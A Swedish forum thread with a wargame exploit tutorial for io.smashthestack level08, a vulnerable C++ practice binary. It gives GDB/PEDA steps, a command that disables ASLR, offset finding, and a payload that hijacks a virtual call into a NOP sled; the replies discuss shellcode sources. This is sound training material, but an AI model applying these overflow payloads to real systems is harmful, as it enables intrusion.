Användarvisningsbild
likvidera
Respekterad Medlem
Inlägg: 444
Blev medlem: 15 okt 2014, 15:29
Områden: Exploits, Reversing
Kontakt: Twitter

Wargames Exploit Intro

20 okt 2014, 15:48

Exploit wargames går ofta ut på att du ska finna ett eller flera sårbarheter i ett SUID program som du sen utnyttjar för att få ett skal med rättigheter för att läsa nästa nivås flagga eller lösenord. Detta brukas sen för att logga in på nästa nivå.

Verktyg

Skalkod databas
http://shell-storm.org/shellcode/

Debugging
GDB, detta är ett konsolbaserat debugging verktyg som är väldigt konfiguerbart.
EDB, gui versionen av GDB, kan vara bekvämare för nybörjare men rekommenderas ej.
IDA Pro, ett väldigt starkt verktyg för att debugga alla möjliga platformer. Är i största fall overkill för wargames.
Radare2, ett annat alternativ till GDB och PEDA, det är en smaksak.
PEDA, är ett python wrapper för GDB som är skapat för att arbeta med exploitutveckling och är extremt händigt. Det ger än bättre överblick by default än GDB. Utan att gå in på det, testa själv och märk skillnaden. Dessutom kommer PEDA med ett par händiga inbyggda verktyg.

PEDA passar väldigt väl för denna typen av wargames och installeras på detta sätt.

Kod: Markera allt

sudo apt-get install git
git clone https://github.com/zachriggle/peda.git
echo "source ~/peda/peda.py" >> ~/.gdbinit


Detta är en fork av PEDA som stöjder Python2 och 3 om man nu sitter på det plus en del buggfixar.

Du kan nu bruka PEDA genom gdb <filnamn>
PEDA har tonvis fina plugins som kan ses med peda help, väl inne i gdb.

Ett par exempel är

checksec - för att se vilka skydd binären brukar
deactive - för att blockera irriterande anrop som sleep, alarm m.m
pattern - generera ett mönster för att hitta offsets vid exploitering

...

Kirra binärer
T.ex. på io.smashthestack.org
antingen logga in och kopiera sourcen från /levels/ och kompilera med gcc levelx.c -o levelx -fno-stack-protector

eller kopiera den rakt av

scp level1@io.smashthestack.org:/levels/level01 .


Exempel, kompilera gärna sourcen och följ med i exploiteringen.

Miljön Ubuntu 32bitars med PEDA.
Detta är level08 på IO, all kreds till authorn för jag är lat och pallar inte göra hackmes.

Kod: Markera allt

// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>
#include <unistd.h>

class Number
{
        public:
                Number(int x) : number(x) {}
                void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
                virtual int operator+(Number &r) {return number + r.number;}
        private:
                char annotation[100];
                int number;
};


int main(int argc, char **argv)
{
        if(argc < 2) _exit(1);

        Number *x = new Number(5);
        Number *y = new Number(6);
        Number &five = *x, &six = *y;

        five.setAnnotation(argv[1]);

        return six + five;
}



gcc level08.c -o level08 -fno-stack-protector

Kort om koden, det är C++ bestående av en class vid namn Number.

Två Numbers allokeras med new och sätts till five och six
Number *x = new Number(5);
Number *y = new Number(6);
Number &five = *x, &six = *y;

Funktionen setAnnotation anropas med ett argument vi kontrollerar
five.setAnnotation(argv[1]);

Funktionen brukar memcpy utan bounds-check så vi kan smasha-stacken med en buffer overflow i
char annotation[100];
void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}

På slutet har vi
return six + five;

Vilket anropar denna functionen
virtual int operator+(Number &r) {return number + r.number;}

Låt oss smasha stacken,
Stäng av ASLR, oftast inget du behöver ta hänsyn till i wargames
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
eller ulimit -s unlimited (ett trick för CTFs med lokal access)

gdb level08 #starta peda med level08 binären
break main #sätt breakpoint på functionen main
r $(python -c "print 'A'*200") #kör med 200 A som argument
c #continue



Kod: Markera allt

  0x804871b <main+135>:   call   0x80487b6 <_ZN6Number13setAnnotationEPc>
   0x8048720 <main+140>:   mov    eax,DWORD PTR [esp+0x1c]
   0x8048724 <main+144>:   mov    eax,DWORD PTR [eax]
=> 0x8048726 <main+146>:   mov    edx,DWORD PTR [eax]


Vi ser hur vi har krashat (segfaultat) efter vårt anrop till den sårbara funktionen setAnnotation men vi har inte kontroll över EIP, vilket vi normalt har i enkla buffer overflows.

Kod: Markera allt

EIP: 0x8048726 #inte 41414141 (AAAA)


Vi har istället kontroll över EAX och ECX registren

Kod: Markera allt

EAX: 0x41414141 ('AAAA')
ECX: 0x41414141 ('AAAA')


Vi har krashat för att vi försöker skriva till edx från [eax]. Bracketsen ([]) runt eax innebär att vi försöker använda 0x41414141 som en minnesaddress, vilket ska peka till ett värde. 0x41414141 existerar inte som en valid minnesaddress i vår process därav krashar(segfaultar) programmet.

Kod: Markera allt

=> 0x8048726 <main+146>:   mov    edx,DWORD PTR [eax]


Nu vet vi att vi måste ha en valid minnesaddress i eax annars fastnar vi alltid här. Men om vi inte kan äga EIP vad är då vårt mål. Låt oss köra programmet utan att krasha det för att se.

break *0x8048720 #sätt breakpoint efter setAnnotation anropet
r $(python -c "print 'A'*4") #kör med 4 A som argument
c #continue till efter setAnnotation anropet


Använd stepi för att ta dig ett par rader ner, notera att nu fastnar vi inte på den tidigare instruktionen. det räcker med att trycka enter efter du har skrivit ett kommando en gång för att repetera.

Kod: Markera allt

   0x804872c <main+152>:   mov    DWORD PTR [esp+0x4],eax
   0x8048730 <main+156>:   mov    eax,DWORD PTR [esp+0x1c]
   0x8048734 <main+160>:   mov    DWORD PTR [esp],eax
=> 0x8048737 <main+163>:   call   edx

Här ser vi hur om vi lyckas ta oss förbi krashen tidigare så kommer programmet anropa vad som än är i registret edx. Vi vet också att vi kan kontrollera vad som är i edx om vi sköter det rätt.
Detta anropet är för övrigt:
return six + five;
vilket är den virtuella funktionen virtual int operator+(Number &r) {return number + r.number;}

Om vi kör exploiten igen
r $(python -c "print 'A'*200")
c


Så ser vi att vi alltid har vår attackbuffer vid 0x804a00c i data segmentet

x/25 0x804a00c #skriv ut 25 dwords i hex

Kod: Markera allt

0x804a00c:   0x41414141   0x41414141   0x41414141   0x41414141
....


Låt oss ta reda på exakt vilken offset i vår buffer som påverkar eax

Kod: Markera allt

=> 0x8048726 <main+146>:   mov    edx,DWORD PTR [eax]


pattern arg 200 #använd peda plugin för att skapa ett 200 bytes mönster som argument1
r
c

steppa till 0x8048726, vi ser att värdet i eax är MAAi

Kod: Markera allt

EAX: 0x6941414d ('MAAi')


pattern offset MAAi #ge värdet för att få ut offseten
MAAi found at offset: 108

Låt oss testa detta
r $(python -c "print 'A'*108 + 'BBBB'")
c


steppa till 0x8048726 och notera

Kod: Markera allt

EAX: 0x42424242 ('BBBB')


Fint, vi vet nu vilken offset vi ska använda för att peka till vår attackbuffer.

Vår spelplan är alltså, att sätta värdet i EAX till starten av vår attackbuffer. Vilket i sin tur pekar till vår skalkod.

Kod: Markera allt

pekare till skalod     skalkod     värdet till eax
[0x804A010]  ->      [\x90*104]   [0x804a00c]
attackbuffer+0      attackbuffer+4    attackbuffer+108


r $(python -c "print '\x10\xa0\x04\x08' + '\x90'*104 + '\x0c\xa0\x04\x08'")
c

steppa till

Kod: Markera allt

0x8048726 <main+146>:   mov    edx,DWORD PTR [eax]


Vi ser hur vi framgångsrikt har satt eax till en valid address, vår attackbuffer. Som i sin tur pekar till vår skalkod som för tillfället endast består av en massa NOPs (0x90)

Kod: Markera allt

EAX: 0x804a00c --> 0x804a010 --> 0x90909090


steppa till

Kod: Markera allt

=> 0x8048737 <main+163>:   call   edx


EDX pekar mycket riktigt till vår skalkod

Kod: Markera allt

EDX: 0x804a010 --> 0x90909090

stepi #steppa in i vår skalkod

Kod: Markera allt

EIP: 0x804a010
=> 0x804a010:   nop
   0x804a011:   nop
   0x804a012:   nop
   0x804a013:   nop



Fint, vi har nu kontroll över programmet utan krasher och kan slänga in skalkod för att få ett shell.

Detta lämnar jag till läsaren.
CyberPirate - keybase.io/likvidera

Användarvisningsbild
Chloë
Administratör
Inlägg: 2505
Blev medlem: 08 okt 2014, 02:28
Områden: Webbsäkerhet
Kontakt: Twitter

Re: Wargames Exploit Intro

20 okt 2014, 16:55

Riktigt fin writeup! Rekommenderar alla som har en timme över att faktiskt ta till sig vad likvid skrev ihop då detta är rätt nära "riktig" hacking som möjligt. Inga riktiga produkter, men riktiga sårbarheter.

Jag hittar mina shellcodes på http://1337day.com/shellcode - är det ett OK ställe eller ska jag byta till shell-storm?
keybase.io/dotchloe | chloe.re | chloe.website

Användarvisningsbild
likvidera
Respekterad Medlem
Inlägg: 444
Blev medlem: 15 okt 2014, 15:29
Områden: Exploits, Reversing
Kontakt: Twitter

Re: Wargames Exploit Intro

20 okt 2014, 17:19

Chloë skrev:Riktigt fin writeup! Rekommenderar alla som har en timme över att faktiskt ta till sig vad likvid skrev ihop då detta är rätt nära "riktig" hacking som möjligt. Inga riktiga produkter, men riktiga sårbarheter.

Jag hittar mina shellcodes på http://1337day.com/shellcode - är det ett OK ställe eller ska jag byta till shell-storm?


Så länge de funkar så spelar det inte så stor roll : -)
CyberPirate - keybase.io/likvidera

Användarvisningsbild
Chloë
Administratör
Inlägg: 2505
Blev medlem: 08 okt 2014, 02:28
Områden: Webbsäkerhet
Kontakt: Twitter

Re: Wargames Exploit Intro

20 okt 2014, 17:21

likvidera skrev:Så länge de funkar så spelar det inte så stor roll : -)

Eller koda egna ;)

btw, använder du inte pattern_create.rb och pattern_offset.rb? Jobbigt att räkna buffrar :p
keybase.io/dotchloe | chloe.re | chloe.website

Användarvisningsbild
likvidera
Respekterad Medlem
Inlägg: 444
Blev medlem: 15 okt 2014, 15:29
Områden: Exploits, Reversing
Kontakt: Twitter

Re: Wargames Exploit Intro

20 okt 2014, 18:27

Jag använder pattern i PEDA om det behövs :)
CyberPirate - keybase.io/likvidera

deepusq
Inlägg: 20
Blev medlem: 17 okt 2014, 17:43

Re: Wargames Exploit Intro

21 okt 2014, 23:57

Good stuff!

Jag skulle rekommendera att man skriver egen shellcode för att lära sig bättre asm samt kunna göra skräddarsydda shellcodes i diverse wargaming levels om man vill bli duktig på det :-)
Phuck-A-Jou

Användarvisningsbild
Chloë
Administratör
Inlägg: 2505
Blev medlem: 08 okt 2014, 02:28
Områden: Webbsäkerhet
Kontakt: Twitter

Re: Wargames Exploit Intro

22 okt 2014, 10:26

Aldrig använt PEDA innan men satan vad nice det är! Tack för tipset Likvid :)

En fråga, när jag ska kolla ECX-registert så har jag '0x00' men EAX poppar 'AAAA'. Varför? Kan jag komma vidare utan ECX?
keybase.io/dotchloe | chloe.re | chloe.website

Användarvisningsbild
likvidera
Respekterad Medlem
Inlägg: 444
Blev medlem: 15 okt 2014, 15:29
Områden: Exploits, Reversing
Kontakt: Twitter

Re: Wargames Exploit Intro

22 okt 2014, 12:54

Chloë skrev:Aldrig använt PEDA innan men satan vad nice det är! Tack för tipset Likvid :)

En fråga, när jag ska kolla ECX-registert så har jag '0x00' men EAX poppar 'AAAA'. Varför? Kan jag komma vidare utan ECX?

Yes, det är super för just den här aktiviteten.

Ang ECX, tror inte det registret spelade roll nej. Jag skrev bara över med en enorm buffer.
CyberPirate - keybase.io/likvidera

Användarvisningsbild
awesomo
Respekterad Medlem
Inlägg: 62
Blev medlem: 12 okt 2014, 13:20

Re: Wargames Exploit Intro

26 okt 2014, 10:44

Riktigt kul tråd, bra jobbat likvidera! Ska försöka mig på detta snart, när jag får tid o.o

Användarvisningsbild
likvidera
Respekterad Medlem
Inlägg: 444
Blev medlem: 15 okt 2014, 15:29
Områden: Exploits, Reversing
Kontakt: Twitter

Re: Wargames Exploit Intro

13 feb 2015, 07:38

abn0rm skrev:Riktigt kul tråd, bra jobbat likvidera! Ska försöka mig på detta snart, när jag får tid o.o


Kul att du gillar det, yep försök ta dig lite tid att pröva på det. Du kan alltid pma mig på IRC om du behöver tips.
CyberPirate - keybase.io/likvidera